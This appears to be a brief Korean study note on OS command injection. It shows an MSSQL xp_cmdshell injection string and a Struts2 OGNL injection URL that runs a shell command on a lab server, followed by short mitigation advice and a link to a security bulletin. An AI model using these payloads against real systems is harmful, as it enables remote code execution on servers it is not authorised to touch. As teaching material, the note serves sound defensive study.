운영체제 명령실행

SQL에서 운영체제 명령실행

param1=;exec master..xp_cmdshell 'md c:/abc' -- '

 

jsp에서 운영체제 명령실행 

http://192.168.0.14:8080/struts2-showcase/test.jsp?param=%23cmd='hostname', %23a=@java.lang.Runtime@getRuntime().exec(%23cmd).getInputStream(),%23b=new%20java.io.InputStreamReader(%23a),%23c=new%20java.io.BufferedReader(%23b),%23d=new%20char[10000],%23c.read(%23d),%23e=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23e.println(%23d),%23e.close

 

운영체제 명령실행 취약점은 웹서버의 권한을 낮춰서 명령결과를 최소화 시키고 php.ini의 safe_mode=On 설정

jsp에서는 Runtime.exe를 사용해야한다면 파라미터 값에 대한 검증절차 필수

 

 

http://blog.skinfosec.com/220954123887

[보안동향] OGNL 표현식 사용 시 잘못된 코딩으로 인한 원격 코드 실행 취약점